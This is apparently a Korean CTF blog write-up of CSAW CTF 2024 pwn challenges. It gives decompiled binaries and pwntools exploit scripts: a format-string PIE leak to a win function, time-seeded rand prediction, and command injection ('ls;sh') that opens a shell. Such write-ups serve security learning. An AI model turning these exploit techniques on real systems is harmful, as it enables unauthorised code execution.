[ solved ]
mini-golfing
더보기
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[8]; // [rsp+0h] [rbp-510h] BYREF
__int64 v5; // [rsp+8h] [rbp-508h]
char v6[1264]; // [rsp+10h] [rbp-500h] BYREF
void (__fastcall *v7)(const char *, _QWORD); // [rsp+500h] [rbp-10h] BYREF
void (__fastcall *v8)(const char *, _QWORD); // [rsp+508h] [rbp-8h]
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
fflush(_bss_start);
fflush(stdin);
*s = 0LL;
v5 = 0LL;
memset(v6, 0, sizeof(v6));
puts("Welcome to PWN GOLF.");
printf("Would you like to enter your name? ");
fgets(s, 0x400, stdin);
printf("hello: ");
printf(s);
printf("\nAlright! Tell me the address you want to aim at!: ");
__isoc99_scanf("%lx", &v7);
v8 = v7;
printf("Ok jumping to that address...");
v8("Ok jumping to that address...", &v7);
return 0;
}
fsb 터지고 win 함수도 있어서 간단하게 풀 수 있다.
from pwn import *
# p = process('./golf')
p = remote('golfing.ctf.csaw.io', 9999)
pay = b'%p.'*300
p.sendlineafter(b'name?',pay)
p.recvuntil(b'hello: ')
tmp = 0
while 1:
tmp = p.recvuntil(b'.')[:-1]
if tmp == b'(nil)':
continue
else:
tmp = int(tmp,16)
if tmp & 0xfff == 0x120:
print('find it!')
break
pie = tmp - 0x1120
win = pie + 0x1209
print('[win]',hex(win))
p.sendlineafter(b'at!: ',str(hex(win)))
p.interactive()
nix-philosophies
더보기
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rax
__int64 v4; // rax
__int64 v5; // rax
__int64 v6; // rax
__int64 v7; // rax
__int64 v8; // rax
int v10; // [rsp+4h] [rbp-28Ch]
int i; // [rsp+8h] [rbp-288h]
__int64 v12; // [rsp+10h] [rbp-280h] BYREF
__int64 v13; // [rsp+18h] [rbp-278h] BYREF
char *v14; // [rsp+20h] [rbp-270h]
__int64 *v15; // [rsp+28h] [rbp-268h]
char v16[32]; // [rsp+30h] [rbp-260h] BYREF
char v17[256]; // [rsp+50h] [rbp-240h] BYREF
__int64 v18; // [rsp+150h] [rbp-140h] BYREF
char v19; // [rsp+267h] [rbp-29h] BYREF
unsigned __int64 v20; // [rsp+268h] [rbp-28h]
v20 = __readfsqword(0x28u);
std::string::basic_string(v16, argv, envp);
std::operator<<<std::char_traits<char>>(&_bss_start, "Tell me what you know about *nix philosophies: ");
std::operator>><char>(&std::cin, v16);
v10 = 0;
for ( i = 1; i < std::string::size(v16); ++i )
{
v19 = *std::string::operator[](v16, i);
v15 = &v13;
std::string::basic_string(v17, &v19, 1LL, &v13);
std::__new_allocator<char>::~__new_allocator(&v13);
v14 = v17;
v12 = std::string::begin(v17);
v13 = std::string::end(v14);
while ( __gnu_cxx::operator!=<char *,std::string>(&v12, &v13) )
{
v10 += *__gnu_cxx::__normal_iterator<char *,std::string>::operator*(&v12);
__gnu_cxx::__normal_iterator<char *,std::string>::operator++(&v12);
}
std::string::~string(v17);
}
read(v10 - 0x643, buf, 0x20uLL);
if ( !strcmp("make every program a filter\n", buf) )
{
std::ifstream::basic_ifstream(v17, "flag.txt", 8LL);
if ( std::ios::good(&v18) )
{
v3 = std::ostream::operator<<(&_bss_start, &std::endl<char,std::char_traits<char>>);
v4 = std::operator<<<std::char_traits<char>>(v3, "Welcome to pwning ^_^");
std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
system("/bin/cat flag.txt");
}
else
{
v5 = std::ostream::operator<<(&_bss_start, &std::endl<char,std::char_traits<char>>);
v6 = std::operator<<<std::char_traits<char>>(v5, "flag.txt: No such file or directory");
std::ostream::operator<<(v6, &std::endl<char,std::char_traits<char>>);
v7 = std::operator<<<std::char_traits<char>>(
&_bss_start,
"If you're running this locally, then running it on the remote server should give you the flag!");
std::ostream::operator<<(v7, &std::endl<char,std::char_traits<char>>);
}
std::ifstream::~ifstream(v17);
}
else
{
v8 = std::operator<<<std::char_traits<char>>(&_bss_start, "You still lack knowledge about *nix sorry");
std::ostream::operator<<(v8, &std::endl<char,std::char_traits<char>>);
}
std::string::~string(v16);
return 0;
}
대충 디버깅하면서 조건 맞춰주면 플래그가 나온다.
from pwn import *
context.log_level = 'debug'
p = process('./chal')
p = remote('nix.ctf.csaw.io', 1000)
# gdb.attach(p,
# '''
# b*main+0x1ce
# ''')
pay = b'\x33'*0x1f + b'\x49'
p.sendlineafter(b'philosophies: ',pay)
p.sendline(b'make every program a filter')
p.interactive()
[ unsolved ]
diving-into-null
더보기
못 풀었는데 그냥 misc 느낌의 문제였다.
cd # Go to groot's home dir
echo .* # list hidden files
while FSTREAM= read -r line; do echo "$line"; done < .flag # read the flag file
vip_blacklist
더보기
명령을 어떻게 바꿀지 고민하다가 못 풀었다.
거의 다 풀었는데 마지막에 헤맨 것 같아서 아쉽다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
fflush(stdout);
handle_client();
return 0;
}
unsigned __int64 handle_client()
{
unsigned int v1; // [rsp+Ch] [rbp-A4h]
int v2; // [rsp+10h] [rbp-A0h]
unsigned int i; // [rsp+14h] [rbp-9Ch]
char s2[16]; // [rsp+18h] [rbp-98h] BYREF
FILE *stream; // [rsp+28h] [rbp-88h]
char src[10]; // [rsp+36h] [rbp-7Ah] BYREF
char s[32]; // [rsp+40h] [rbp-70h] BYREF
char dest[12]; // [rsp+60h] [rbp-50h] BYREF
int v9; // [rsp+6Ch] [rbp-44h]
__int64 v10; // [rsp+70h] [rbp-40h]
__int64 v11; // [rsp+78h] [rbp-38h]
__int64 v12; // [rsp+80h] [rbp-30h]
__int64 v13; // [rsp+88h] [rbp-28h]
__int64 v14; // [rsp+90h] [rbp-20h]
__int64 v15; // [rsp+98h] [rbp-18h]
unsigned __int64 v16; // [rsp+A8h] [rbp-8h]
v16 = __readfsqword(0x28u);
v1 = 0x14;
randGen(s2);
puts(
"\"Welcome to the club. It's ok, don't be in a rush. You've got all the time in the world. As long as you are a vip that is.\"");
displayCommands();
while ( fgets(s, 0x20, stdin) )
{
s[strcspn(s, "\n")] = 0;
if ( !strcmp(s, "exit") )
{
puts("Bye!");
return v16 - __readfsqword(0x28u);
}
if ( !strcmp(s, *(const char **)s2) && strcmp(whitelist, "queue") )
{
puts("\nAh VIP, please come this way...");
allowCopy();
}
sprintf(src, s);
strcpy(dest, "Executing: ");
v9 = 0;
v10 = 0LL;
v11 = 0LL;
v12 = 0LL;
v13 = 0LL;
v14 = 0LL;
v15 = 0LL;
strcat(dest, src);
strcpy(&dest[strlen(dest)], "...\n");
puts(dest);
v2 = 0;
for ( i = 0; i <= 3; ++i )
{
if ( !strcmp(s, &whitelist[6 * i]) )
{
v2 = 1;
break;
}
}
if ( !v2 )
{
*(_QWORD *)&s2[8] = "Command not allowed\n";
printf("%s", "Command not allowed\n");
goto LABEL_22;
}
if ( !strcmp(s, "queue") )
{
printf("You are currently in position: %d\n", v1);
}
else
{
stream = popen(s, "r");
if ( !stream )
{
perror("Error executing command");
return v16 - __readfsqword(0x28u);
}
while ( fgets(s, 0x20, stream) )
printf("%s", s);
pclose(stream);
if ( !--v1 )
{
puts("Hello! You are at the front of the queue now. Oh hold on one second");
puts("I'm getting some new info...");
kickOut();
}
LABEL_22:
displayCommands();
}
}
return v16 - __readfsqword(0x28u);
}
_QWORD *__fastcall randGen(_QWORD *a1)
{
unsigned int v1; // eax
_QWORD *result; // rax
unsigned __int64 i; // [rsp+10h] [rbp-10h]
_BYTE *v4; // [rsp+18h] [rbp-8h]
v4 = malloc(0xAuLL);
v1 = time(0LL);
srand(v1);
for ( i = 0LL; i <= 9; ++i )
v4[i] = rand();
result = a1;
*a1 = v4;
return result;
}
int displayCommands()
{
unsigned int i; // [rsp+Ch] [rbp-4h]
printf("\nCommands: ");
for ( i = 0; i <= 3; ++i )
printf("%s ", &whitelist[6 * i]);
return putchar(0xA);
}
unsigned __int64 allowCopy()
{
int i; // [rsp+8h] [rbp-88h]
int j; // [rsp+Ch] [rbp-84h]
int k; // [rsp+10h] [rbp-80h]
unsigned __int64 m; // [rsp+18h] [rbp-78h]
ssize_t read_num; // [rsp+20h] [rbp-70h]
_BYTE cmd_list[24]; // [rsp+30h] [rbp-60h] BYREF
char buf[40]; // [rsp+50h] [rbp-40h] BYREF
unsigned __int64 v8; // [rsp+78h] [rbp-18h]
v8 = __readfsqword(0x28u);
puts(
"You may add a new command, \"queue\", to your possible commands which will give you your position. \n"
"If you would not like this, just press enter.");
displayCommands();
read_num = read(0, buf, 0x20uLL);
if ( read_num < 0 )
{
perror("Error reading from stdin");
exit(1);
}
buf[strcspn(buf, "\n")] = 0;
for ( i = 0; i < strlen("queue") + 1; ++i )
{
if ( buf[i] != s2[i] )
kickOut();
}
puts("\"We are currently getting you a valet to inform you of your queue position\nPlease wait one second...\"");
*(_QWORD *)&cmd_list[0x10] = 0LL;
strcpy(cmd_list, "clear");
// exit
*(_DWORD *)&cmd_list[6] = 0x74697865;
*(_WORD *)&cmd_list[0xA] = 0;
// ls
*(_DWORD *)&cmd_list[0xC] = 0x736C;
for ( j = 3; j >= 0; --j )
strcpy(&whitelist[6 * j], &whitelist[6 * j - 6]);
for ( k = 0; k < read_num - 1; ++k )
whitelist[k] = buf[k];
if ( !(unsigned int)safety(cmd_list) )
kickOut();
sleep(1u);
puts("\"The valet has arrived, feel free to check your queue position now.\"");
for ( m = 0LL; m < 4; ++m )
puts(&whitelist[6 * m]);
return v8 - __readfsqword(0x28u);
}
__int64 __fastcall safety(char *cmd_list)
{
unsigned __int64 idx; // [rsp+18h] [rbp-18h]
size_t i; // [rsp+20h] [rbp-10h]
_BOOL8 is_queue; // [rsp+28h] [rbp-8h]
is_queue = strcmp(whitelist, "queue") == 0;
for ( idx = is_queue; idx <= 3; ++idx )
{
if ( strlen(&whitelist[6 * idx]) > 5 )
kickOut();
for ( i = 0LL; i < strlen(&cmd_list[6 * (idx - is_queue)]); ++i )
{
if ( cmd_list[6 * (idx - is_queue) + i] != whitelist[6 * idx + i] )
kickOut();
}
}
return 1LL;
}
void __noreturn kickOut()
{
puts("\"You are not a real VIP. Follow this person out.\"");
exit(1);
}
랜덤 값을 만드는데 seed가 time(0)으로 고정이라 ctype으로 맞춰줄 수 있다.
libc는 아마 브포로 유추하면 되지 않을까싶다.
(wsl로 했을 때 잘 됐던 걸로 기억하는데 깃헙에 올라온 문제 파일 보니까 ubuntu 22.04 였음)
vip 인증을 하면 명령어를 추가할 수 있다.
strlen으로 5문자만 입력할 수 있는데, ls 이후 빈 공간을 활용해서 ls;sh를 만들어 줄 수 있다.
from pwn import *
from ctypes import *
context.log_level = 'debug'
p = process('./vip_blacklist')
libc = CDLL('/usr/lib/x86_64-linux-gnu/libc.so.6')
# b*allowCopy+0x1ea
# gdb.attach(p,
# '''
# b*safety
# ''')
ren = b''
libc.srand(libc.time(0))
for i in range(10):
ren += int.to_bytes(libc.rand()&0xff,1,'little')
p.sendlineafter(b'ls',ren)
p.sendlineafter(b'queue',b'queue\x00clear\x00exit\x00\x00ls;sh\x00')
p.interactive()
https://github.com/osirislab/CSAW-CTF-2024-Quals/tree/main/pwn
'CTF' 카테고리의 다른 글
SEKAI CTF 2024 (Pwn) - nolibc (0) | 2024.08.26 |
---|---|
DeadSec CTF 2024 (Pwn) (0) | 2024.07.28 |
ImaginaryCTF 2024 (Pwn) (5) | 2024.07.22 |
DownUnderCTF 2024 (Pwn) (0) | 2024.07.08 |
[hxpCTF 2020] kernel-rop (with write-up) (2) (0) | 2024.06.30 |